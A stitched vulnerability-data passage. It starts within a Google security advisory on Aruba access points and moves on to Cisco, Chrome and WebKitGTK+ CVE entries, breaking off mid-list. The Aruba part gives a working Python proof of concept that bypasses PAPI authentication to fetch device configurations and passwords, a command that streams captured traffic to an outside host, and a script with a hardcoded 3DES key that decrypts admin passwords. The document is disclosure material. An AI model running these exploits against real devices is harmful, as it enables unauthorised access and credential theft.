0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 0d 73 68 irdzB5dtVxb...sh
0080 6f 77 20 76 65 72 73 69 6f 6e 0a ow version.
(The string starting with "zxr..." is a HTTP session ID, see #25 on details how
to bypass this).
An example Python function for en-/decrypting PAPI payloads could look like
this:
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
-------------------------------------------
24. AP: PAPI protocol authentication bypass
-------------------------------------------
Besides it's typical use between different Aruba devices, PAPI is also used as
an inter-process communication (IPC) mechanism between the CGI based web
frontend and the backend processes on the AP. Certain commands that can be sent
via PAPI are only supposed to be used via this IPC interface and not from an
external source. Besides the weak "encryption" that is described in #23, some
PAPI packets contain a HTTP session ID (SID), that matches the SID issued at
login to the web frontend.
Example IPC packet (payload decrypted as shown in #23):
0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............
0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ...........
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................
0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @...............
0060 00 00 00 00 00 00 14 7a 78 72 6f 43 4f 55 77 6e .......zxroCOUwn
0070 69 72 64 7a 42 35 64 74 56 78 62 00 00 13 73 68 irdzB5dtVxb...sh
0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration
0090 0a .
The SID in the example shown is "zxroCOUwnirdzB5dtVxb". The 0x14 before that
indicates the length of the 20 byte SID. If the session is expired or an
invalid session is specified, the packet is rejected by the PAPI endpoint
(msgHandler).
Replacing the 20 byte SID with 20 * 0x00, bypasses the SID check and therefore
allows unauthenticated PAPI communication with the AP.
Example IPC packet (Session ID replaced with 20 * 0x00, payload not XOR'ed for
readability):
0000 49 72 00 03 7f 00 00 01 0a 00 00 01 00 00 20 13 Ir............
0010 3b 60 3b 7e 20 04 00 00 00 03 00 00 00 00 00 00 ;`;~ ...........
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 ................
0050 40 04 00 00 01 fd 05 0a 00 00 01 06 07 02 00 04 @...............
0060 00 00 00 00 00 00 14 00 00 00 00 00 00 00 00 00 ................
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 13 73 68 ..............sh
0080 6f 77 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e ow configuration
0090 0a
Using the above example, it is possible to request the system configuration
from an AP, bypassing all authentication methods.
If the above packet is sent using IPC from the webfrontend cgi to the backend,
(localhost) the reply looks like follows:
msg_ref 303 /tmp/.cli_msg_SW9iVE
The cgi binary then reads this file and renders the content in the HTTP reply.
If the PAPI packet comes from an external address (instead of localhost) the
reply points to the APs web server (10.0.0.26 in this case) instead of /tmp/:
msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh
Access to this file does not require authentication which raises the severity
of this vulnerability significantly.
The following Python script is a proof of concept for this vulnerability,
sending a "show configuration" packet to an AP with the IP address 10.0.0.26:
import socket
def aruba_encrypt(s):
return ''.join([chr(ord(c) ^ 0x93) for c in s])
header = (
'\x49\x72\x00\x03\x7f\x00\x00\x01\x0a\x00\x00\x01\x00\x00\x20\x13'
'\x3b\x60\x3b\x7e\x20\x04\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
)
payload = ( # show configuration
'\x04\x00\x00\x00\x40\x04\x00\x00\x01\xfd\x05\x0a\x00\x00\x01\x06'
'\x07\x02\x00\x04\x00\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x13\x73\x68\x6f\x77\x20\x63\x6f\x6e\x66\x69\x67\x75\x72\x61'
'\x74\x69\x6f\x6e\x0a'
)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(('', 1337))
sock.sendto(header + aruba_encrypt(payload), ('10.0.0.26', 8211))
buff = sock.recvfrom(4096)
print aruba_encrypt(buff[0])
Executing the above PoC:
# python arupapi.py
[...]msg_ref 2689 http://10.0.0.26/.cli_msg_n011xh
Downloading the file referenced by the reply returns the full AP configuration,
including all users, passwords and settings (no auth is required on the HTTP
request either):
# curl -Lk http://10.0.0.26/.cli_msg_n011xh
version 6.4.2.0-4.1.1
virtual-controller-country XX
virtual-controller-key b49ff***REMOVED***
name instant-XX:XX:XX
terminal-access
clock timezone none 00 00
rf-band all
[...]
mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa
[...]
(full configuration file continues)
For APs running in "managed mode", the above shown exploit does not work. The
reason for that is, that these APs don't provide a web server and have only a
limited set of commands that can be executed via PAPI.
Additionally, APs in managed mode do not seem to use the XOR based "encryption"
or MD5 checksums - there was no authentication/encryption found at all.
One interesting payload for APs in "managed mode" using the limited subset of
available commands is the ability to capture traffic and send it to a remote
endpoint via UDP. The example command on the controller would be:
(aruba_7030_1) #ap packet-capture raw-start ip-addr 192.168.0.1
100.105.134.45 1337 0 radio 0
This command would send all traffic of AP 192.168.0.1 from the first radio
interface in PCAP format to 100.105.134.45:1337. Wrapped in PAPI, the Packet
would look like this:
0000 49 72 00 03 c0 a8 00 01 7f 00 00 01 00 00 00 00 Ir..............
0010 20 21 20 1c 20 04 01 48 14 08 36 b1 00 00 00 00 ! . ..H..6.....
0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 65 ...............e
0050 78 65 63 75 74 65 43 6f 6d 6d 61 6e 64 4f 62 6a xecuteCommandObj
0060 65 63 74 02 06 02 04 03 00 08 03 00 08 00 00 04 ect.............
0070 38 32 32 35 02 06 02 04 00 00 00 03 00 00 02 00 8225............
0080 02 01 04 00 00 00 08 00 00 02 41 50 00 00 02 41 ..........AP...A
0090 50 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 55 P...PACKET-CAPTU
00a0 52 45 00 00 0e 50 41 43 4b 45 54 2d 43 41 50 54 RE...PACKET-CAPT
00b0 55 52 45 00 00 09 52 41 57 2d 53 54 41 52 54 00 URE...RAW-START.
00c0 00 09 52 41 57 2d 53 54 41 52 54 00 00 07 49 50 ..RAW-START...IP
00d0 2d 41 44 44 52 00 00 0b 31 39 32 2e 31 36 38 2e -ADDR...192.168.
00e0 30 2e 31 00 00 09 74 61 72 67 65 74 2d 69 70 00 0.1...target-ip.
00f0 00 0e 31 30 30 2e 31 30 35 2e 31 33 34 2e 34 35 ..100.105.134.45
0100 00 00 0b 74 61 72 67 65 74 2d 70 6f 72 74 00 00 ...target-port..
0110 04 31 33 33 37 00 00 06 66 6f 72 6d 61 74 00 00 .1337...format..
0120 01 30 00 00 05 52 41 44 49 4f 00 00 01 30 04 00 .0...RADIO...0..
0130 00 00 00 02 00 02 01 02 00 02 00 00 00 04 73 65 ..............se
0140 63 61 00 00 04 72 6f 6f 74 ca...root
When sending this packet to an AP running in managed mode, it confirms the
command and starts sending traffic to the specified host:
[...]<re><data name="Packet capture has started for pcap-id"
pn="true">1</data></re>
---------------------------------------------------------
25. AP: Broadcast with detailed system information (LLDP)
---------------------------------------------------------
Aruba APs broadcast detailed system and version information to the wired
networks via LLDP (Link Layer Discovery Protocol).
0000 02 07 04 00 0b 86 9e 7a 32 04 07 03 00 0b 86 9e .......z2.......
0010 7a 32 06 02 00 78 0a 11 30 30 3a 30 62 3a 38 36 z2...x..00:0b:86
0020 3a XX XX 3a XX XX 3a XX XX 0c 3a 41 72 75 62 61 :XX:XX:XX.:Aruba
0030 4f 53 20 28 4d 4f 44 45 4c 3a 20 52 41 50 2d 31 OS (MODEL: RAP-1
0040 35 35 29 2c 20 56 65 72 73 69 6f 6e 20 36 2e 34 55), Version 6.4
0050 2e 32 2e 36 2d 34 2e 31 2e 31 2e 31 30 20 28 35 .2.6-4.1.1.10 (5
0060 31 38 31 30 29 0e 04 00 0c 00 08 10 0c 05 01 0a 1810)...........
0070 00 00 22 02 00 00 00 0e 00 08 04 65 74 68 30 fe .."........eth0.
0080 06 00 0b 86 01 00 01 fe 09 00 12 0f 03 00 00 00 ................
0090 00 00 fe 09 00 12 0f 01 03 6c 03 00 10 fe 06 00 .........l......
00a0 12 0f 04 06 76 00 00 ....v..
The broadcast packet contains the APs MAC address, model number and exact
firmware version.This detailed information could aid an attacker to easily find
and identify potential targets for known vulnerabilities.
------------------------------------------------------
26. AP: User passwords are encrypted with a static key
------------------------------------------------------
Based on the vulnerability shown in #24 which potentially discloses the
password hashes of AP user accounts, the implemented hashing algorithm was
tested. CVE-2014-7299 describes the password hashes as "encrypted password
hashes". The following line shows the mgmt-user configuration for the user
"admin" with password "admin":
mgmt-user admin f9ac59cd431e174fb07539a8a811a1aa
Some testing with various passwords and especially password lengths showed that
the passwords are actually encrypted and not hashed (as hash algorithms produce
the same length output for different length input):
f9ac59cd431e174fb07539a8a811a1aa # admin
d7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf # adminadmin
The encryption algorithm used for the above passwords turned out to be 3DES in
CBC mode. The encryption algorithm uses a 24 byte static key which is hardcoded
on the AP. Sampling of different Firmware versions confirmed that the key is
identical for all available versions. The IV required for 3DES consists of 8
random bytes, and is stored as the first 8 byte of the encrypted password. The
following Python script can be used to decrypt the above hashes:
import pyDes
hashes = (
'f9ac59cd431e174fb07539a8a811a1aa', # admin
'd7a75c655b8e2fb8609d0b04275e02767f2dfae8c63088cf' # adminadmin
)
key = (
'\x32\x74\x10\x84\x91\x17\x75\x46\x14\x75\x82\x92'
'\x43\x49\x04\x59\x18\x69\x15\x94\x27\x84\x30\x03'
)
for h in hashes:
d = pyDes.triple_des(key, pyDes.CBC, h.decode('hex')[:8], pad='\00')
print h, '=>', d.decrypt(h.decode('hex')[8:])
Mitigation
==========
Aruba released three advisories, related to the issues reported here:
http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-004.txt
http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-005.txt
http://www.arubanetworks.com/assets/alert/ARUBA-PSA-2016-006.txt
Following the resolution advises given in those advisories is strongly
recommended. These advisories are also available on the Aruba security bulletin:
http://www.arubanetworks.com/support-services/security-bulletins/
For the vulnerabilities related to PAPI, Aruba has made the following document
available:
http://community.arubanetworks.com/aruba/attachments/aruba/aaa-nac-guest-access-byod/25840/1/Control_Plane_Security_Best_Practices_1_0.pdf
This doc gives several advises how to remediate the PAPI related
vulnerabilities. An update fixing the issues is announced for Q3/2016.
For further information there is also a discussion thread in Aruba's Airheads
Community Forum:
http://community.arubanetworks.com/t5/AAA-NAC-Guest-Access-BYOD/Security-vulnerability-advisories/m-p/266095#M25840
Author
======
The vulnerabilities were discovered by Sven Blumenstein from Google Security
Team.
Timeline
========
2016/01/22 - Security report sent to sirt@arubanetworks.com with 90 day
disclosure deadline (2016/04/22).
2016/01/22 - Aruba acknowledges report and starts working on the issues.
2016/02/01 - Asking Aruba for ETA on detailed feedback.
2016/02/03 - Detailed feedback for all reported vulnerabilities received.
2016/02/16 - Answered several questions from the feedback, asked Aruba for
patch ETA.
2016/02/29 - Pinged for patch ETA.
2016/03/08 - Pinged for patch ETA.
2016/03/12 - Received detailed list with approx. ETA for patch releases and
current status.
2016/03/21 - Aruba asks for extension of 90 day disclosure deadline.
2016/03/24 - Asked Aruba for exact patch release dates.
2016/04/02 - Aruba confirmed 4.2.x branch update for 2016/04/15, 4.1.x branch
update for 2016/04/30 (past 90 day deadline).
2016/04/14 - 14 day grace period for disclosure was granted, according to
the disclosure policy. New disclosure date was set to 2016/05/06.
2016/05/02 - Asking for status of still unreleased 'end of April' update.
2016/05/02 - Aruba confirmed availability of update on 2016/05/09 (after grace
period).
2016/05/03 - Aruba released three advisories on
http://www.arubanetworks.com/support-services/security-bulletins/
2016/05/06 - Public disclosure
| VAR-201410-0062 | CVE-2014-3402 | Cisco Intrusion Detection System of Cisco Intrusion Prevention System of Web Service operation interruption in the framework (DoS) Vulnerabilities |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
The authentication-manager process in the web framework in Cisco Intrusion Prevention System (IPS) 7.0(8)E4 and earlier in Cisco Intrusion Detection System (IDS) does not properly manage user tokens, which allows remote attackers to cause a denial of service (temporary MainApp hang) via a crafted connection request to the management interface, aka Bug ID CSCuq39550. Vendors have confirmed this vulnerability Bug ID CSCuq39550 It is released as.Service disruption by a third party via a crafted connection request to the management interface (MainApp Temporary hang of ) There is a possibility of being put into a state. Cisco Intrusion Prevention System is prone to a remote denial-of-service vulnerability.
Attackers can exploit this issue to cause denial-of-service conditions.
This issue is being tracked by Cisco Bug ID CSCuq39550
| VAR-201410-1227 | CVE-2014-3187 | iOS Run on Google Chrome Vulnerabilities in obtaining video and audio data from devices |
CVSS V2: 6.8 CVSS V3: - Severity: MEDIUM |
Google Chrome before 37.0.2062.60 and 38.x before 38.0.2125.59 on iOS does not properly restrict processing of (1) facetime:// and (2) facetime-audio:// URLs, which allows remote attackers to obtain video and audio data from a device via a crafted web site. Google Chrome for iOS is prone to an unspecified security vulnerability.
The impact of this issue is currently unknown. We will update this BID when more information emerges.
Versions prior to Google Chrome for iOS 38.0.2125.59 are vulnerable. Google Chrome is a web browser developed by Google (Google). The vulnerability stems from the fact that the program does not correctly handle the restrictions of facetime:// and facetime-audio:// URLs
| VAR-201410-1217 | CVE-2014-3192 | Google Chrome Used in Blink of DOM Service disruption in implementations (DoS) Vulnerabilities |
CVSS V2: 7.5 CVSS V3: - Severity: HIGH |
Use-after-free vulnerability in the ProcessingInstruction::setXSLStyleSheet function in core/dom/ProcessingInstruction.cpp in the DOM implementation in Blink, as used in Google Chrome before 38.0.2125.101, allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors. Supplementary information : CWE Vulnerability type by CWE-416: Use After Free ( Use of freed memory ) Has been identified. http://cwe.mitre.org/data/definitions/416.htmlService disruption by a third party (DoS) There is a possibility of being affected unspecified, such as being in a state. Google Chrome is prone to multiple security vulnerabilities.
Attackers can exploit these issues to execute arbitrary code in the context of the browser, bypass security restrictions, obtain potentially sensitive information, or cause denial-of-service conditions; other attacks may also be possible.
Versions prior to Chrome 38.0.2125.101 are vulnerable. ------------------------------------------------------------------------
WebKitGTK+ Security Advisory WSA-2015-0002
------------------------------------------------------------------------
Date reported : December 28, 2015
Advisory ID : WSA-2015-0002
Advisory URL : http://webkitgtk.org/security/WSA-2015-0002.html
CVE identifiers : CVE-2013-6663, CVE-2014-1748, CVE-2014-3192,
CVE-2014-4409, CVE-2014-4410, CVE-2014-4411,
CVE-2014-4412, CVE-2014-4413, CVE-2014-4414,
CVE-2014-4452, CVE-2014-4459, CVE-2014-4465,
CVE-2014-4466, CVE-2014-4468, CVE-2014-4469,
CVE-2014-4470, CVE-2014-4471, CVE-2014-4472,
CVE-2014-4473, CVE-2014-4474, CVE-2014-4475,
CVE-2014-4476, CVE-2014-4477, CVE-2014-4479,
CVE-2015-1068, CVE-2015-1069, CVE-2015-1070,
CVE-2015-1071, CVE-2015-1072, CVE-2015-1073,
CVE-2015-1074, CVE-2015-1075, CVE-2015-1076,
CVE-2015-1077, CVE-2015-1080, CVE-2015-1081,
CVE-2015-1082, CVE-2015-1083, CVE-2015-1084,
CVE-2015-1119, CVE-2015-1120, CVE-2015-1121,
CVE-2015-1122, CVE-2015-1124, CVE-2015-1126,
CVE-2015-1127, CVE-2015-1152, CVE-2015-1153,
CVE-2015-1154, CVE-2015-1155, CVE-2015-1156,
CVE-2015-2330, CVE-2015-3658, CVE-2015-3659,
CVE-2015-3660, CVE-2015-3727, CVE-2015-3730,
CVE-2015-3731, CVE-2015-3732, CVE-2015-3733,
CVE-2015-3734, CVE-2015-3735, CVE-2015-3736,
CVE-2015-3737, CVE-2015-3738, CVE-2015-3739,
CVE-2015-3740, CVE-2015-3741, CVE-2015-3742,
CVE-2015-3743, CVE-2015-3744, CVE-2015-3745,
CVE-2015-3746, CVE-2015-3747, CVE-2015-3748,
CVE-2015-3749, CVE-2015-3750, CVE-2015-3751,
CVE-2015-3752, CVE-2015-3753, CVE-2015-3754,
CVE-2015-3755, CVE-2015-5788, CVE-2015-5789,
CVE-2015-5790, CVE-2015-5791, CVE-2015-5792,
CVE-2015-5793, CVE-2015-5794, CVE-2015-5795,
CVE-2015-5797, CVE-2015-5798, CVE-2015-5799,
CVE-2015-5800, CVE-2015-5801, CVE-2015-5802,
CVE-2015-5803, CVE-2015-5804, CVE-2015-5805,
CVE-2015-5806, CVE-2015-5807, CVE-2015-5809,
CVE-2015-5810, CVE-2015-5811, CVE-2015-5812,
CVE-2015-5813, CVE-2015-5814, CVE-2015-5815,
CVE-2015-5816, CVE-2015-5817, CVE-2015-5818,
CVE-2015-5819, CVE-2015-5822, CVE-2015-5823,
CVE-2015-5825, CVE-2015-5826, CVE-2015-5827,
CVE-2015-5828, CVE-2015-5928, CVE-2015-5929,
CVE-2015-5930, CVE-2015-5931, CVE-2015-7002,
CVE-2015-7012, CVE-2015-7013, CVE-2015-7014,
CVE-2015-7048, CVE-2015-7095, CVE-2015-7097,
CVE-2015-7099, CVE-2015-7100, CVE-2015-7102,
CVE-2015-7103, CVE-2015-7104.
Several vulnerabilities were discovered on WebKitGTK+.
CVE-2013-6663
Versions affected: WebKitGTK+ before 2.4.0.
Credit to Atte Kettunen of OUSPG.
CVE-2014-1748
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Jordan Milne.
CVE-2014-3192
Versions affected: WebKitGTK+ before 2.6.3.
Credit to cloudfuzzer.
CVE-2014-4409
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Yosuke Hasegawa (NetAgent Co., Led.).
WebKit in Apple iOS before 8 makes it easier for remote attackers to
track users during private browsing via a crafted web site that
reads HTML5 application-cache data that had been stored during
normal browsing.
CVE-2014-4410
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Eric Seidel of Google.
CVE-2014-4411
Versions affected: WebKitGTK+ before 2.6.0.
CVE-2014-4412
Versions affected: WebKitGTK+ before 2.4.0.
Credit to Apple.
CVE-2014-4413
Versions affected: WebKitGTK+ before 2.4.0.
Credit to Apple.
CVE-2014-4414
Versions affected: WebKitGTK+ before 2.4.0.
Credit to Apple.
CVE-2014-4452
Versions affected: WebKitGTK+ before 2.6.0.
Credit to unknown.
CVE-2014-4459
Versions affected: WebKitGTK+ before 2.6.2.
Credit to unknown.
Use-after-free vulnerability in WebKit, as used in Apple OS X before
10.10.1, allows remote attackers to execute arbitrary code via
crafted page objects in an HTML document.
CVE-2014-4465
Versions affected: WebKitGTK+ before 2.6.2.
Credit to Rennie deGraaf of iSEC Partners.
WebKit in Apple Safari before 6.2.1, 7.x before 7.1.1, and 8.x
before 8.0.1 allows remote attackers to bypass the Same Origin
Policy via crafted Cascading Style Sheets (CSS) token sequences
within an SVG file in the SRC attribute of an IMG element.
CVE-2014-4466
Versions affected: WebKitGTK+ before 2.6.2.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4468
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4469
Versions affected: WebKitGTK+ before 2.6.4.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4470
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4471
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4472
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4473
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4474
Versions affected: WebKitGTK+ before 2.6.2.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4475
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.1, 7.x before 7.1.1, and
8.x before 8.0.1, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
WebKit CVEs listed in APPLE-SA-2014-12-2-1.
CVE-2014-4476
Versions affected: WebKitGTK+ before 2.6.2.
Credit to Apple.
WebKit, as used in Apple iOS before 8.1.3; Apple Safari before
6.2.3, 7.x before 7.1.3, and 8.x before 8.0.3; and Apple TV before
7.0.3, allows remote attackers to execute arbitrary code or cause a
denial of service (memory corruption and application crash) via a
crafted web site, a different vulnerability than CVE-2014-4477 and
CVE-2014-4479.
CVE-2014-4477
Versions affected: WebKitGTK+ before 2.6.4.
Credit to lokihardt@ASRT working with HP’s Zero Day Initiative.
WebKit, as used in Apple iOS before 8.1.3; Apple Safari before
6.2.3, 7.x before 7.1.3, and 8.x before 8.0.3; and Apple TV before
7.0.3, allows remote attackers to execute arbitrary code or cause a
denial of service (memory corruption and application crash) via a
crafted web site, a different vulnerability than CVE-2014-4476 and
CVE-2014-4479.
CVE-2014-4479
Versions affected: WebKitGTK+ before 2.6.4.
Credit to Apple.
WebKit, as used in Apple iOS before 8.1.3; Apple Safari before
6.2.3, 7.x before 7.1.3, and 8.x before 8.0.3; and Apple TV before
7.0.3, allows remote attackers to execute arbitrary code or cause a
denial of service (memory corruption and application crash) via a
crafted web site, a different vulnerability than CVE-2014-4476 and
CVE-2014-4477.
CVE-2015-1068
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1069
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1070
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1071
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1072
Versions affected: WebKitGTK+ before 2.8.0.
Credit to unknown.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1073
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1074
Versions affected: WebKitGTK+ before 2.6.4.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1075
Versions affected: WebKitGTK+ before 2.8.0.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1076
Versions affected: WebKitGTK+ before 2.8.0.
Credit to unknown.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1077
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1080
Versions affected: WebKitGTK+ before 2.6.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1081
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1082
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1083
Versions affected: WebKitGTK+ before 2.6.4.
Credit to Apple.
WebKit, as used in Apple Safari before 6.2.4, 7.x before 7.1.4, and
8.x before 8.0.4, allows remote attackers to execute arbitrary code
or cause a denial of service (memory corruption and application
crash) via a crafted web site, a different vulnerability than other
CVEs listed in APPLE-SA-2015-03-17-1.
CVE-2015-1084
Versions affected: WebKitGTK+ before 2.6.1.
Credit to Apple.
The user interface in WebKit, as used in Apple Safari before 6.2.4,
7.x before 7.1.4, and 8.x before 8.0.4, does not display URLs
consistently, which makes it easier for remote attackers to conduct
phishing attacks via a crafted URL.
CVE-2015-1119
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Renata Hodovan of University of Szeged / Samsung
Electronics.
WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and
Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5,
allows remote attackers to execute arbitrary code or cause a denial
of service (memory corruption and application crash) via a crafted
web site, a different vulnerability than other WebKit CVEs listed in
APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-
SA-2015-04-08-4.
CVE-2015-1120
Versions affected: WebKitGTK+ before 2.8.0.
Credit to Apple.
WebKit, as used in Apple iOS before 8.3, Apple TV before 7.2, and
Apple Safari before 6.2.5, 7.x before 7.1.5, and 8.x before 8.0.5,
allows remote attackers to execute arbitrary code or cause a denial
of service (memory corruption and application crash) via a crafted
web site, a different vulnerability than other WebKit CVEs listed in
APPLE-SA-2015-04-08-1, APPLE-SA-2015-04-08-3, and APPLE-
